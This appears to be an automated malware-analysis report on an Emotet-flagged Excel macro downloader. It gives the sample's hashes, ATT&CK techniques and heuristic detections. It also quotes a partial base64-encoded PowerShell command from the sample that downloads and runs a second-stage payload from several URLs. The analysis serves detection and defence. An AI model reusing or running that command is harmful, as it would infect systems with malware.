Emotet Office (OOXML) / .XLSX malware analysis — malicious · c2c1f5ceb5324379

MALICIOUS

Office (OOXML) / .XLSX

92.0 KB Created: 2015-06-05 18:17:20 UTC Authoring application: Microsoft Excel 12.0000

MD5: 164ae5b042243c1fb8386762adc10158 SHA-1: bb53378a2ce2779af4493754db1266e7d7f126f4 SHA-256: c2c1f5ceb5324379dc1c69a99de91df9d5a7484b151ebe0110d33216a5d87bd9

200 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK

T1059.001 PowerShell T1059.005 Visual Basic T1204.002 Malicious File

The file is identified as malicious by ClamAV with a signature indicating it's an Emotet downloader. The Workbook_Open macro and CreateObject heuristic firings suggest the execution of embedded VBA code. The DOC BODY contains heavily obfuscated commands that, when partially reconstructed, reveal attempts to download and execute a VBScript payload from multiple URLs. Specifically, the command `hell -e nc JABNAEoAWABkAGYAcwBoAEQAcgBmAEcAWgBzAGUAcwA0AD0AIgBoAHQAdABwADoALwAvAGgAYQByAHAAZQByAGgAbwB1AHMAZQBwAHIAbwBkAHUAYwB0AHMALgBjAG8AbQAvAE0AZQByAGMAaABhAG4AdAAyAC8AQQBSAHMAZgAxAEwASQBjAE8AYQB1AGgASAAxAHIARAByAEkAaAAvACwAaAB0AHQAcAA6AC8ALwBoAG8AbAB1AGIAdgBpAGQAZQBvAC4AYwBvAG0ALwBlAGwAbgAtAGkAbQBhAGcAZQBzAC8AegBxAHEAZwBaADAAWQBYAGEAUABpAFcAYgBGAC8ALABoAHQAdABwADoALwAvAG0AYQBnAGkAYwBiAGwAbwBnAC4AdABhAHQAYQBtAG8AdABvAHIAcwAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8ANwBmAGEATgA5AC8ALABoAHQAdABwADoALwAvAGMAaABhAHMAdABvAG4AZwByAG8AZABpAHQAcwBrAGkALgBjAG8AbQAvAGUAbABuAC0AaQBtAGEAZwBlAHMALwBzAGsAUwBzAEMA` indicates the download and execution of a second-stage payload. The script also attempts to save the payload as `c:\programdata\yhjlswle.vbs` and execute it via a batch file `c:\programdata\ughldskbhn.bat`.

Heuristics 5

ClamAV: Xls.Downloader.EmotetRed02221-9938910-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Downloader.EmotetRed02221-9938910-0
Workbook_Open macro high OLE_VBA_WBOPEN

Workbook_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
VBA project inside OOXML medium OOXML_VBA

Document contains vbaProject.bin — VBA macros present

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `de7bcbc45ff0a77d05d9af662bacc316e71be11a980e94f6673e556a5dd9d1bc`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	12808 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.
`vbaProject_00.bin` `5f7e28213d44e8935882813d60e2799951baa8424e10e03b765ad6c0cfcc15bd`	vba-project	OOXML VBA project: xl/vbaProject.bin	37888 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.

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